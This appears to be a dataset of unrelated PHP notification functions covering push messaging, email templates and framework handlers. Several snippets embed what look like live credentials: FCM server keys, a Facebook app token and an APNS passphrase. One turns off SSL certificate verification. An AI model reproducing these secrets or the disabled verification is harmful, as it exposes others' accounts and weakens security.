href=\"%1$s\">%2$s added to the %3$s group calendar.</a>' , SITEURL . '/event/' . $post->post_name , $post->post_title , $group->name );\t\t\n\t}", "public function trigger_notification()\n\t{\n \t\t\n\t\t $result=$this->Fb_common_func->send_notification($this->facebook,'Skywards meet me here!',array('100001187318347','1220631499','1268065008','1347427052','566769531'),'467450859982651|cf5YXgYRZZDJuvBF1_ZOyDyRJHM','100001187318347');\n\n\t echo $result;\n\t}", "public static function getNotificationsAsHTML()\n {\n $db = true;\n include GEO_BASE_DIR . 'get_common_vars.php';\n\n $notifications = Notifications::getNotifications();\n if (!(is_array($notifications) && count($notifications))) {\n $notifications = '';\n } else {\n ob_start();\n if ($db->get_site_setting(\"developer_supress_notify\") != 1) {\n include 'templates/notification_box.tpl.php';\n }\n $notifications = ob_get_contents();\n ob_end_clean();\n }\n return $notifications;\n }", "public function output($notification) {\n\t\tvar_dump($notification);\n\t\texit();\n\n\t\t$result = [\n\t\t\t'title' => '',\n\t\t\t'description' => '',\n\t\t\t'type' => '',\n\t\t\t'code' => '',\n\t\t];\n\n\t\treturn $result;\n\t}", "function iosnoti( $registrationIdsArray, $messageData ){\n\n\t// ID del dispositivo, similar al gcm de google\n\t\t$deviceToken = $registrationIdsArray;\n\t\t// Clave de la llave con la que se genero la aplicacion\n\t\t$passphrase = 'inicio1*';\n\t\t// Mensaje\n\t\t$message = $messageData;\n\t\t////////////////////////////////////////////////////////////////////////////////\n\t\t$ctx = stream_context_create();\n\t\tstream_context_set_option($ctx, 'ssl', 'local_cert', 'JuntosSomosMas_dev.pem');\n\t\tstream_context_set_option($ctx, 'ssl', 'passphrase', $passphrase);\n\t\t\n\t\t// Open a connection to the APNS server\n\t\t$fp = stream_socket_client(\n\t\t\t'ssl://gateway.sandbox.push.apple.com:2195', $err,\n\t\t\t$errstr, 60, STREAM_CLIENT_CONNECT|STREAM_CLIENT_PERSISTENT, $ctx);\n\t\t\n\t\tif (!$fp) { exit(\"Failed to connect: $err $errstr\" . PHP_EOL);\t}\n\t\t//echo 'Connected to APNS' . PHP_EOL;\n\t\t\n\t\t// Create the payload body\n\t\t$body['aps'] = array(\n\t\t\t'alert' => $message,\n\t\t\t'sound' => 'default'\n\t\t\t);\n\t\t\n\t\t// Encode the payload as JSON\n\t\t$payload = json_encode($body);\n\t\t\n\t\t// Build the binary notification\n\t\t$msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;\n\t\t\n\t\t// Send it to the server\n\t\t$result = fwrite($fp, $msg, strlen($msg));\n\t\t\n\t\tif (!$result) {\n\t\t\t//echo 'Message not delivered' . PHP_EOL;\n\t\t}else{\n\t\t\t//echo 'Message successfully delivered' . PHP_EOL;\n\t\t}\n\t\t// Close the connection to the server\n\t\tfclose($fp);\n}", "function change_notification_format( $notification, $form, $entry ) {\n if( !is_admin() )\n include_once( ABSPATH . 'wp-admin/includes/plugin.php' );\n // does WP Better Emails exists and activated ?\n if( !is_plugin_active('wp-better-emails/wpbe.php') )\n return $notification;\n // change notification format to text from the default html\n $notification['message_format'] = \"text\";\n // disable auto formatting so you don't get double line breaks\n $notification['disableAutoformat'] = true;\n return $notification;\n}", "protected function registerNotification(array $notification)\n {\n $view = $this->getView();\n\n $options = Json::encode(ArrayHelper::merge($this->getClientOptions(), $notification));\n $view->registerJs(\"new PNotify({$options});\");\n }", "public function notification(Request $request,$userid)\n { \n $were = [['w_to','=','user'],['status','!=','2'],['to_id','=',$userid]];\n $data['notifications'] = Notification::getbycondition234($were);\n if(count($data['notifications']['data']) > 0 )\n {\n foreach($data['notifications']['data'] as $k=>$noty)\n {\n if(!empty($noty['from_id']))\n {\n $img =User::getdetailsuserret2(array('id'=>$noty['from_id']),'profile');\n if(!empty($img))\n {\n $data['notifications']['data'][$k]['img']=url('/public/profile/'.$img);\n }else\n {\n $data['notifications']['data'][$k]['img']=url('/uploads/Dummy-image.jpg'); \n }\n }\n }\n }else\n {\n $data['notifications']['data'] = array();\n }\n $messags['message'] = \"notification data.\";\n $messags['status']= 1; \n $messags['data']= $data;\n echo json_encode($messags);\n die;\n }", "public function storeAction()\n\t{\n \tif ($this->request->isPost()) {\n //validate\n $user = $this->auth->getIdentity();\n \t // add push notification message\n $notification = new PushNotification;\n $notification->Admin_ID = $this->auth->getIdentity()['id'];\n $notification->Age = $this->request->getPost('age');\n // $notification->Like = $this->request->getPost('like') ?: 0;\n // $notification->Favourite = $this->request->getPost('favourite') ?: 0;\n $notification->Male = $this->request->getPost('male') ?: 0;\n $notification->Female = $this->request->getPost('female') ?: 0;\n $notification->send_to_guests = $this->request->getPost('send_to_guests') ?: 0;\n $notification->Application_ID = $user[\"Application_ID\"];\n $notification->Module_ID = $this->request->getPost('module_id');\n $notification->topic_id = $this->request->getPost('topic_id');\n $notification->Message = $this->request->getPost('message');\n $notification->Send_Time = strtotime(str_replace(\"/\", \"-\", $this->request->getPost('send_time')));\n $notification->notification_type = implode(\",\", $this->request->getPost('notification_type'));\n\n \n if($this->request->getPost('key') && $this->request->getPost('value')){\n \t$values = $this->request->getPost('value');\n \t$kv_pair = [];\n \tforeach ($this->request->getPost('key') as $k => $key) {\n \t\tif(!empty($key)){\n \t\t\t$kv_pair[$key] = $values[$k];\n \t\t}\n \t}\n\n\t $notification->kv = json_encode($kv_pair);\n }\n\n $notification->save();\n\n foreach ($this->request->getPost('filter') as $key => $filter) {\n $not_filter = new MessageFilters;\n $not_filter->message_id = $notification->ID;\n $not_filter->follow_id = $filter;\n $not_filter->save();\n // die(var_dump($not_filter));\n }\n\n // if(!$this->request->getPost('send_time')){\n // \t// mark it as queued and queue immediatly\n // \t$notification->queued = 1;\n // \t$notification->save();\n\n // \t$users = User::query();\n // \tif($notification->Male){\n // \t $users = $users->andWhere(\"Gender = 1\");\n // \t}\n // \tif($notification->Female){\n // \t $users = $users->andWhere(\"Gender = 0\");\n // \t}\n // \t// TODO: add other criteria\n // \t$users = $users->execute();\n\n // \t$users = User::findIn([102, 103]);\n\n // \t$types = explode(\",\", $notification->notification_type);\n\n\n // \t// add users to queue\n // \tforeach ($users as $user) {\n // \t\tforeach ($types as $type) {\n // \t\t $queue = new PushNotificationQueue;\n // \t\t $queue->Type = $type;\n // \t\t $queue->Token = $user->getQueueToken($type); // TODO: get other tokens\n // \t\t $queue->Msg_ID = $notification->ID;\n // \t\t $queue->User_ID = $user->ID;\n // \t\t $queue->save();\n // \t\t}\n // \t}\n\n // \tif($message->send_to_guests){\n // \t\t// select all tokens\n // \t\t$tokens = Token::query()->where(\"User_ID = 0\")->andWhere(\"Application_ID = {$message->Application_ID}\")->execute();\n // \t\tforeach ($tokens as $token) {\n // \t\t\t$queue = new PushNotificationQueue;\n // \t\t $queue->Type = $token->Type;\n // \t\t $queue->Token = $token->Token;\n // \t\t $queue->Msg_ID = $message->ID;\n // \t\t $queue->save();\n // \t\t}\n // \t}\n // }\n\n // die(var_dump($notification));\n\n \t // return response\n\t\t return $this->response->redirect(\"index\"); // or fail possibly\n\t\t}\n\t}", "public function notificationsAction()\n {\n $callback = function ($msg) {\n //check the db before running anything\n if (!$this->isDbConnected('db')) {\n return ;\n }\n\n if ($this->di->has('dblocal')) {\n if (!$this->isDbConnected('dblocal')) {\n return ;\n }\n }\n\n //we get the data from our event trigger and unserialize\n $notification = unserialize($msg->body);\n\n //overwrite the user who is running this process\n if ($notification['from'] instanceof Users) {\n $this->di->setShared('userData', $notification['from']);\n }\n\n if (!$notification['to'] instanceof Users) {\n echo 'Attribute TO has to be a User' . PHP_EOL;\n return;\n }\n\n if (!class_exists($notification['notification'])) {\n echo 'Attribute notification has to be a Notificatoin' . PHP_EOL;\n return;\n }\n $notificationClass = $notification['notification'];\n\n if (!$notification['entity'] instanceof Model) {\n echo 'Attribute entity has to be a Model' . PHP_EOL;\n return;\n }\n\n $user = $notification['to'];\n\n //instance notification and pass the entity\n $notification = new $notification['notification']($notification['entity']);\n //disable the queue so we process it now\n $notification->disableQueue();\n\n //run notify for the specifiy user\n $user->notify($notification);\n\n $this->log->info(\n \"Notification ({$notificationClass}) sent to {$user->email} - Process ID \" . $msg->delivery_info['consumer_tag']\n );\n };\n\n Queue::process(QUEUE::NOTIFICATIONS, $callback);\n }", "public function sendpush() {\n define( 'API_ACCESS_KEY', 'AAAAt1-_IHo:APA91bEN-Moq4Y-SFNRGW3CTgjXl8c8ZbDCbkd5XWpPhwh3TmbIWqTyV583wIXEc-m9ZB-tY3ow28QZfMZ8Oc-fRTjftcL9_zXJzA_oTNlG7KhYzDDNzpkNrgTaYtCIaPSwcs34jTTh9' );\n //$registrationIds = $_GET['id'];\n $registrationIds = 'fKOLhxS9coQ:APA91bE13tHl61mVUwoMxT4Obt6L5N4bMCw2VvfPIOWE7JzZH1JAQ0TAWIO9R-lonBm17AVlA7X8GhyxaWyS3qhEkDeUczZE-fP_h2x8TKLvB4c0T5xyNdqpSlIiDaR86DpOn4YWq00V';\n #prep the bundle\n $msg = array\n (\n 'body' => 'Body of Alshamil Notification',\n 'title' => 'Title Of Alshamil Notification',\n 'icon' => 'myicon',/*Default Icon*/\n 'sound' => 'mySound'/*Default sound*/\n );\n $fields = array\n (\n 'to' => $registrationIds,\n 'notification' => $msg\n );\n \n \n $headers = array\n (\n 'Authorization: key=' . API_ACCESS_KEY,\n 'Content-Type: application/json'\n );\n #Send Reponse To FireBase Server \n $ch = curl_init();\n curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );\n curl_setopt( $ch,CURLOPT_POST, true );\n curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );\n curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );\n curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );\n curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );\n $result = curl_exec($ch );\n curl_close( $ch );\n #Echo Result Of FireBase Server\n echo $result;\n }", "public function getMailBodyText(Notification $notification) : string;", "function invite_check($from, $to, $togcm, $type, $message, $sender_name, $event_refrence){\n$arr = array(\"host\" => $from,\n\t \"to_id\" => $to,\n\t \"sender_name\" => $sender_name,\n\t \"event_reference\" => $event_refrence,\n\t \"payload_type\" => \"invite_check\",\n \"payload_message\" => $message);\n$new_payload = json_encode($arr);\nsend_gcm_notify($togcm, $new_payload);\n}", "function apns($deviceToken, $message, $extra, $fp){\n $body['aps'] = array(\n 'alert' => $message,\n 'sound' => 'default'\n );\n\n\t$body['extra'] = $extra;\n\n\n // Encode the payload as JSON\n $payload = json_encode($body);\n\techo $payload;\n\n // Build the binary notification\n $msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;\n\n // Send it to the server\n $result = fwrite($fp, $msg, strlen($msg));\n\n if (!$result){\n echo 'Message not delivered' . PHP_EOL;\n }else{\n echo 'Message successfully delivered' . PHP_EOL;\n }\n \n }", "public function user_notification(){\n $apiData = array();\n $this->loadModel('Post');\n $this->loadModel('Event');\n $this->loadModel('Notification');\n $id = $this->Auth->user('id');\n $notification = $this->Notification->getNotification($id);\n if(!empty($notification)) {\n $data = array();\n $keyValue = Hash::combine($notification ,'{n}.Notification.object_id','{n}.Notification.object_id','{n}.Notification.object_type');\n foreach ($keyValue as $key => $value) {\n switch($key){\n case OBJECT_TYPE_EVENT: \n $data[OBJECT_TYPE_EVENT] = $this->Event->getEventNotification(array_values($value));\n break;\n case OBJECT_TYPE_POST:\n $data[OBJECT_TYPE_POST] = $this->Post->getPostNotification(array_values($value));\n break;\n case OBJECT_TYPE_LEAVE:\n $data[OBJECT_TYPE_LEAVE] = $this->Leave->getLeaveNotification(array_values($value));\n break;\n case OBJECT_TYPE_BIRTHADAY:\n $data[OBJECT_TYPE_BIRTHADAY] = $this->Birthday->getBirthdayNotification(array_values($value));\n break;\n default:\n echo \"No information available for that day.\";\n break;\n }\n } \n }\n if(!empty($data)) {\n $apiData = $this->getFormatedData($notification, $data);\n }\n return $apiData;\n }", "public function toDatabase($notifiable)\n { \n $title = $body = $btnTxt = '';\n $dashboard_notifications = (new NotificationContent)->getNotificationContent('Email Verified - Profile Picture', 'couple');\n foreach ($dashboard_notifications as $dashboard_notification) {\n $title = $dashboard_notification->subject;\n $body = $dashboard_notification->body;\n $btnTxt = $dashboard_notification->button;\n }\n \n return [\n 'title' => $title,\n 'body' => $body,\n 'btnTxt' => $btnTxt,\n ];\n }", "public function addnewnotification($data){\n\t$catId = (isset($data)) ? $data : 0;\n $lastInserted_id = $this->insertInToTable(MAIL_NOTIFY_TYPES,array(array('notification_name'=>$this->getData['newnotification'], 'notification_staus'=>'1','admin_display'=>'1', 'templatecategory_id'=>$catId)));\n\treturn $lastInserted_id;\n }", "function articles_syndication_mail($key, &$message, $params) {\n switch ($key) {\n case 'syndicated_article_created':\n $message['subject'] = $params['subject'];\n $message['body'][] = $params['body'];\n break;\n }\n}", "function itsec_import_export_notification_strings() {\n\treturn array(\n\t\t'label' => esc_html__( 'Settings Export', 'it-l10n-ithemes-security-pro' ),\n\t\t'description' => sprintf( esc_html__( 'The %1$sSettings Import Export%2$s module sends an email with the settings export file attached.', 'it-l10n-ithemes-security-pro' ), '<a href=\"#\" data-module-link=\"import-export\">', '</a>' ),\n\t\t'subject' => esc_html__( 'Security Settings Export', 'it-l10n-ithemes-security-pro' ),\n\t\t'message' => esc_html__( 'Attached is the settings file for {{ $site_url }} created on {{ $date }} at {{ $time }}.', 'it-l10n-ithemes-security-pro' ),\n\t\t'tags' => array(\n\t\t\t'date' => esc_html__( 'The date the settings export was generated.', 'it-l10n-ithemes-security-pro' ),\n\t\t\t'time' => esc_html__( 'The time the settings export was generated.', 'it-l10n-ithemes-security-pro' ),\n\t\t\t'site_url' => esc_html__( 'The URL to your website.', 'it-l10n-ithemes-security-pro' ),\n\t\t\t'site_title' => esc_html__( 'The WordPress Site Title. Can be changed under Settings -> General -> Site Title', 'it-l10n-ithemes-security-pro' ),\n\t\t),\n\t);\n}", "public function Events_Notification_post() { \n $data = $this->_post_args;\n try {\n $this->load->library(\"api/Event_lib\");\n $s = new Event_lib;\n $result = $s->Event_notification($data);\n }\n catch(Exception $e)\n {\n $response['result']['status'] = 'error';\n $response['result']['response']\t= $e->getMessage();\n $this->response($response, $e->getCode());\n }\n header(\"Access-Control-Allow-Origin: *\");\n $this->response($result[0], $result[1]);\n }", "public static function register_notifications( $notifications = array() ) {\n\t\t$default_notifications = array(\n\t\t\t\t// Lead Generation\n\t\t\t\t'client_summary' => array(\n\t\t\t\t\t'name' => __( 'Client Summary', 'sprout-invoices' ),\n\t\t\t\t\t'description' => __( 'Customize the email sent to the client summarizing open invoices and esitmates.', 'sprout-invoices' ),\n\t\t\t\t\t'shortcodes' => array( 'date', 'name', 'username', 'dashboard_link', 'summary' ),\n\t\t\t\t\t'default_title' => sprintf( __( '%s: Your Summary', 'sprout-invoices' ), get_bloginfo( 'name' ) ),\n\t\t\t\t\t'default_content' => self::default_summary_notification(),\n\t\t\t\t),\n\t\t\t);\n\t\treturn array_merge( $notifications, $default_notifications );\n\t}", "function prepare_notification($hook, $type, $notification, $params) {\n\tif (!($notification instanceof \\Elgg\\Notifications\\Notification)) {\n\t\treturn $notification;\n\t}\n\n\t$notification->body = handler_replace($notification->body);\n\t$notification->subject = handler_replace($notification->subject);\n\n\treturn $notification;\n}", "function wp_send_new_user_notifications($user_id, $notify = 'both')\n {\n }", "function get_notification_output($priority = 2)\n\t{\n\t\t// Draft to published, and there are draft news articles\n\t\t// then display a nice message.\n\t\t// this is a priority 2 item.\n\t\tif( $priority >= 2 )\n\t\t{\n\t\t\t$output = array();\n\n\t\t\t// dummy priority 3 object\n\t\t\t$obj = new StdClass();\n\t\t\t$obj->priority = 2;\n\t\t\t$obj->html = 'This is a dummy priority 2 notification';\n\t\t\t$output[] = $obj;\n\n\t\t\t// dummy priority 3 object\n\t\t\t$obj = new StdClass();\n\t\t\t$obj->priority = 3;\n\t\t\t$obj->html = 'This is a dummy priority 3 notification';\n\t\t\t$output[] = $obj;\n\t\t}\n\n\t\treturn $output;\n\t}", "public function newNotifications()\n {\n $notifications = $this->notification->ReminderforUser(Auth::user());\n\n\n foreach($notifications as $key => $notification) \n \n $notifications[$key]['translated'] = __($notification['content'], [\n 'taskName' => $this->{$notification['notifiable_type']}->find($notification['notifiable_id'])->name\n ]);\n\n return response()->json([\n 'notification' => $notifications\n ]);\n }", "function notifictionList(){\n $this->check_admin_user_session();\n $userId = $_SESSION[ADMIN_USER_SESS_KEY]['userId'];\n $where = array('notificationFor'=>$userId,'webNotify'=>'0');\n $count = $this->common_model->get_total_count(NOTIFICATIONS, array('notificationFor'=>$userId,'isRead'=>'0'));\n $notifiList = $this->common_model->getsingle(NOTIFICATIONS, $where);\n if(!empty($notifiList)){\n $userdata = $this->common_model->getsingle(USERS, array('id'=>$notifiList->notificationBy));\n }\n if(!empty($userdata)){\n $userName= $userdata->fullName;\n }\n if($notifiList){\n $updateData = array('webNotify'=>'1');\n $whereUpdate = array('id'=>$notifiList->id);\n $this->common_model->updateFields(NOTIFICATIONS,$updateData,$whereUpdate);\n $uid = encoding($notifiList->referenceId);\n\n if($notifiList->notificationType=='delete_article'){\n $url= base_url().'admin/article/deleteAticle/'.$uid;\n }elseif($notifiList->notificationType=='delete_training_video'){\n $url= base_url().'admin/video/deleteTrVideoByAdmin/'.$uid;\n }\n else{\n $url= base_url().'admin/video/deleteVideoByAdmin/'.$uid;\n }\n\n $msg = json_decode($notifiList->notificationMessage);\n $msgSend = str_replace(\"[UNAME]\",$userName,$msg->body);\n $title = $msg->title; //set title for show \n echo json_encode(array('status'=>1,'html'=>$msgSend,'title'=>$title,'url'=>$url,'count'=>$count));die;\n }\n echo json_encode(array('status'=>0,'count'=>$count));die;\n }", "function pmpro_notifications()\n{\n\tif(current_user_can(\"manage_options\"))\n\t{\n\t\t$pmpro_notification = get_transient(\"pmpro_notification_\" . PMPRO_VERSION);\n\t\tif(empty($pmpro_notification))\n\t\t{\n\t\t\t//set to NULL in case the below times out or fails, this way we only check once a day\n\t\t\tset_transient(\"pmpro_notification_\" . PMPRO_VERSION, 'NULL', 86400);\n\n\t\t\t//figure out which server to get from\n\t\t\tif(is_ssl())\n\t\t\t{\n\t\t\t\t$remote_notification = wp_remote_get(\"https://notifications.paidmembershipspro.com/?v=\" . PMPRO_VERSION);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$remote_notification = wp_remote_get(\"http://notifications.paidmembershipspro.com/?v=\" . PMPRO_VERSION);\n\t\t\t}\n\n\t\t\t//get notification\n\t\t\t$pmpro_notification = wp_remote_retrieve_body($remote_notification);\n\n\t\t\t//update transient if we got something\n\t\t\tif(!empty($pmpro_notification))\n\t\t\t\tset_transient(\"pmpro_notification_\" . PMPRO_VERSION, $pmpro_notification, 86400);\n\t\t}\n\n\t\tif($pmpro_notification && $pmpro_notification != \"NULL\")\n\t\t{\n\t\t?>\n\t\t<div id=\"pmpro_notifications\">\n\t\t\t<?php echo $pmpro_notification; ?>\n\t\t</div>\n\t\t<?php\n\t\t}\n\t}\n\n\t//exit so we just show this content\n\texit;\n}", "function sendSuccess($data){\n echo json_encode([\"toptext\"=>\"Success!\",\"bottomtext\"=>\"The postcard has been emailed to \" . $data['rena'] . \" at \" . $data['reem'] . \". There should be a copy in your inbox as well!\"]);\n}", "public function notifyRSVPRegistered( $data )\n {\n $subject = \"Event Manager - RSVP Registered\";\n\n $msg = '\n <img src=\"http://' . $_SERVER['HTTP_HOST'] . '/images/event.png\" width=\"200\" height=\"200\" alt=\"Event Manager Banner\"/>\n\n <br><br>\n Hello ' . $data['Eid'] . ',\n\n <br><br>\n We have received your RSVP on ' . date(\"m/d/Y\") . ' through the event management platform.\n\n <br><br>\n\n <hr>\n\n <br>\n\n <table>\n <tr>\n <td colspan=\"2\">\n Reservation Information\n </td>\n </tr>\n <tr>\n <td colspan=\"2\">\n ---------------------------------------------------------\n </td>\n </tr>\n <tr>\n <td width=\"50%\">\n Your EID:\n </td>\n <td width=\"50%\">' .\n $data['Eid'] . '\n </td>\n </tr>\n <tr>\n <td>\n Event Name:\n </td>\n <td>' .\n $data['Name'] . '\n </td>\n </tr>\n <tr>\n <td>\n Event Date:\n </td>\n <td>' .\n $data['Date'] . '\n </td>\n </tr>\n <tr>\n <td>\n Event Location:\n </td>\n <td>' .\n $data['Location'] . '\n </td>\n </tr>\n </table>\n\n <br><br>\n\n An iCal has been attached for your convenience, please use it to add a reminder to your calendar.\n\n <br><br>\n\n Thank you,\n <br>\n Event Manager<br><br>';\n\n return $this->sendEmail( array( \"subject\"=>$subject, \"msg\"=>$msg, \"email\"=>$data['Email'], \"name\"=>$data['Eid'], \"iCal\"=>$data['iCal'] ) );\n }", "public static function sendNotification()\n {\n $options = array(\n 'cluster' => 'eu',\n 'encrypted' => true\n );\n\n //Remember to set your credentials below.\n $pusher = new Pusher(\n env('PUSHER_APP_KEY'),\n env('PUSHER_APP_SECRET'),\n env('PUSHER_APP_ID'),\n $options\n );\n\n $message = \"test message\";\n\n// $message= PushNotification::Message('Message Text',array(\n// 'sound' => 'storage/notification_sound.aiff', // EDIT THIS filename\n// ));\n\n //Send a message to notify channel with an event name of notify-event\n $pusher->trigger('notify', 'notify-event', $message);\n }", "public function sales_agent_customer_notifications() {\n $table_name_array = unserialize(TABLE_NAME);\n $this->load->model('Notifications_model');\n $this->load->model('Common_model');\n $codition = \"theme_options_name = 'notifications_setting'\";\n $notifications_setting_data = $this->Common_model->getRowByCondition($codition, $table_name_array['theme_options']);\n $notifications_type_id = unserialize($notifications_setting_data['theme_options_values'])['sales_agent_customer_submitted_notification'];\n $query = \"SELECT * FROM \" . $table_name_array['notifications_message'] . \" as nm JOIN \" . $table_name_array['notifications_type'] . \" as nt ON nm.notifications_type_id = nt.notifications_type_id where nt.notifications_type_id = $notifications_type_id\";\n $notifications_message = $this->Common_model->customQuery($query, 2);\n $customer_notifications = $this->Notifications_model->getAllSalesAgentCustomerNotifications();\n $return_value = $this->notification($customer_notifications, 'sales_success');\n echo json_encode(array(\"return_string\" => $return_value, \"count_customers_notification\" => count($customer_notifications), \"notifications_message_title\" => $notifications_message[0]['notifications_message_title'], \"notifications_message_content\" => $notifications_message[0]['notifications_message_content']));\n die;\n }", "public function createNotification($type, $text, $destination)\r\n {\r\n \t$data = $this->call(array(\"notification\"=>array(\"type\"=>$type, \"text\"=>$text, \"destination\"=>$destination)), \"POST\", \"notifications.json\");\r\n \treturn $data;\r\n }", "public function add_notification($notificationData){\n\t \tif(sizeof($notificationData) > 0){\n\t\t\t$this->db->insert(\"notifications\", $notificationData); \n\t\t\treturn 1;\n\t\t}else {\n\t\t\treturn 0;\n\t\t}\n\t }", "function doTheHook ($jsonData) {\r\n\r\n $notif = json_decode($jsonData, TRUE);\r\n \r\n $message = '';\r\n $eventype = '';\r\n\r\n\r\n if(isset($notif['message']))\r\n {\r\n $message = $notif['message'];\r\n }\r\n \r\n if(isset($notif['event_type']))\r\n {\r\n $eventtype = $notif['event_type'];\r\n if ($eventtype == 'person') {\r\n Netatmo_getPersons(getParent());\r\n }\r\n }\r\n \r\n if(isset($notif['camera_id']))\r\n {\r\n SetValueString(get_VID_CamId(),$notif['camera_id']);\r\n }\r\n \r\n if(isset($notif['home_id']))\r\n {\r\n SetValueString(get_VID_HomeId(),$notif['home_id']);\r\n }\r\n \r\n if(isset($notif['home_name']))\r\n {\r\n SetValueString(get_VID_HomeName(),$notif['home_name']);\r\n }\r\n}", "public function sendNotification($group){\n $title = \"New task!\";\n $body = \"Check the app now!\";\n \n $firebase = new Firebase();\n $notification = new Notification();\n\n $notification->setTitle($title);\n $notification->setBody($body);\n\n $json = $notification->getNotification();\n\n for ($i = 0; $i < count($group); $i++) {\n $response = $firebase->sendNotification($group[$i]['firebase'], $json);\n } \n }", "public abstract function sendNotification($notification);", "public function pushNotify($fcm_token, $message, $title, $id){\n $pushnotification = new MyPushNotification();\n $pushnotification->title = $title;\n $pushnotification->message = $message;\n $pushnotification->device_token = $fcm_token;\n $pushnotification->user_id = $id;\n $pushnotification->save(); \n \n \n // $fcm_token =\"fp8kEO5kELI:APA91bFIMOHh7kQ-3AQKneAa8JorHhyMHpV2PQuJWWSBGO8s5SZ8aiw7SOjHZSkMKXxSd_TDTrGLzr7YyL2uMVJxz2sYwTxbbr7ClzkZQIlB1-8SKVG7GLVoIAguh6IHY7Bdgzuyrbx7\"; \n // $title =\"Approved\";\n // $message =\"Hello Edwin,Your application has been approved\"; \n // $id = null;\n $your_project_id_as_key=\"AAAAEpFVq6w:APA91bGWypLNzvQtWrsfzOuEEHmrVOqrQWhHsNfPm0oP-edBDo1-jHtxCGvTDFsOBQOqdOWLQSb9CGBr2i9DNhg1SeI6qjKwpVlglgfhvRDFAVkO--1QY8g6vd2-A0zVXxcRLilk6ZVI\";\n $url = \"https://fcm.googleapis.com/fcm/send\"; \n $header = [\n 'authorization: key=' . $your_project_id_as_key,\n 'content-type: application/json'\n ]; \n\n $postdata = '{\n \"to\" : \"' . $fcm_token . '\",\n \"notification\" : {\n \"title\":\"' . $title . '\",\n \"text\" : \"' . $message . '\"\n },\n \"data\" : {\n \"id\" : \"'.$id.'\",\n \"title\":\"' . $title . '\",\n \"description\" : \"' . $message . '\",\n \"text\" : \"' . $message . '\",\n \"is_read\": 0\n }\n }';\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);\n curl_setopt($ch, CURLOPT_HTTPHEADER, $header);\n\n $result = curl_exec($ch); \n curl_close($ch);\n\n return $result;\n }", "function sendPushNotification($hotel)\n{\n /*here will integrate with the sdk or call api to send broadcast message\n to all users with new hotel data added\n and then call this function after successfully added new hotel*/\n}", "private function buildNotificationsBlock(): void\n {\n //====================================================================//\n // Notifications Block\n $notifications = array(\n \"error\" => \"This is a Sample Error Notification\",\n \"warning\" => \"This is a Sample Warning Notification\",\n \"success\" => \"This is a Sample Success Notification\",\n \"info\" => \"This is a Sample Infomation Notification\",\n );\n\n $this->blocksFactory()->addNotificationsBlock($notifications, array(\"Width\" => self::SIZE_M));\n }", "public function notifications() {\n \n // Check if the current user is admin and if session exists\n $this->check_session($this->user_role, 0);\n \n // Verify if account is confirmed\n $this->_check_unconfirmed_account();\n \n \n $notifications = $this->notifications->get_notifications($this->user_id);\n \n // Load view/user/notifications.php file\n $this->body = 'user/notifications';\n $this->content = ['notifications' => $notifications];\n $this->user_layout();\n \n }", "public function push_notifications($method='GET')\n\t{\n \n $data_tmp['listing_uri'] = config_item('listing_uri');\n if(empty($data_tmp['listing_uri']))$data_tmp['listing_uri'] = 'property';\n \n $this->load->model('language_m');\n $this->load->model('estate_m');\n $this->load->model('option_m');\n $this->load->model('enquire_m');\n $this->load->model('packages_m');\n $this->load->library('session');\n \n $this->data['message'] = lang_check('Something is wrong with request');\n $this->data['token_available'] = FALSE;\n $POST = $this->input->get_post(NULL, TRUE);\n \n $on_last_days = 50;\n \n if(isset($POST['lang_code']))\n {\n $lang_id = $this->language_m->get_id($POST['lang_code']);\n }\n \n if(empty($lang_id))$lang_id=$this->language_m->get_default_id();\n $lang_code = $this->language_m->get_code($lang_id);\n \n $token = $this->token_m->get_token($POST);\n if(is_object($token))\n $this->data['token_available'] = TRUE;\n \n if(is_object($token))\n {\n if($method == 'GET')\n {\n $json_data= array();\n \n // Enquire fetch\n $min_date = date('Y-m-d H:i:s', time()- $on_last_days*24*60*60);\n $enquire = $this->enquire_m->get_by(array('enquire.date >'=>$min_date), FALSE, NULL, 'enquire.id DESC');\n foreach($enquire as $key=>$row){\n $data = array();\n \n $url = site_url('admin/enquire/edit/'.$row->id);\n $data['id'] = $row->id.'-enquire';\n $data['type'] = 'enquire';\n $data['url'] = $url;\n $data['date'] = $row->date;\n $data['message'] = lang_check('You receive new message').': '.$row->message;\n \n $json_data[] = $data;\n }\n \n // Listings will expired fetch\n if($this->settings['listing_expiry_days'] >0) {\n $max_date = date('Y-m-d H:i:s', time() - $this->settings['listing_expiry_days']*86400);\n\n $listings_soon_expired = $this->estate_m->get_by(array('date_modified >'=>$max_date));\n foreach($listings_soon_expired as $key=>$row){\n $data = array();\n\n $title = $this->estate_m->get_field_from_listing($row, 10);\n $url = site_url($data_tmp['listing_uri'].'/'.$row->id.'/'.$lang_code.'/'.url_title_cro($title));\n $date_expired = date('Y-m-d H:i:s', strtotime($row->date_modified+$this->settings['listing_expiry_days']*86400));\n\n $data['id'] = $row->id.'-listings_soon_expired';\n $data['type'] = 'listings_soon_expired';\n $data['url'] = $url;\n $data['date'] = $date_expired;\n $data['message'] = lang_check('You receive new message').': '.lang_check('Listing').' '.$title.' ('.$row->address.'), '.lang_check('will expired at').' '.$date_expired;\n\n $json_data[] = $data;\n }\n // Listings expired fetch\n $max_date = date('Y-m-d H:i:s', time() - $this->settings['listing_expiry_days']*86400);\n $listings_expired = $this->estate_m->get_by(array('date_modified <'=>$max_date));\n foreach($listings_expired as $key=>$row){\n $data = array();\n $title = $this->estate_m->get_field_from_listing($row, 10);\n $url = site_url($data_tmp['listing_uri'].'/'.$row->id.'/'.$lang_code.'/'.url_title_cro($title));\n $date_expired = date('Y-m-d H:i:s', strtotime($row->date_modified+$this->settings['listing_expiry_days']*86400));\n $data['id'] = $row->id.'-listings_expired';\n $data['type'] = 'listings_expired';\n $data['url'] = $url;\n $data['date'] = $date_expired;\n $data['message'] = lang_check('You receive new message').': 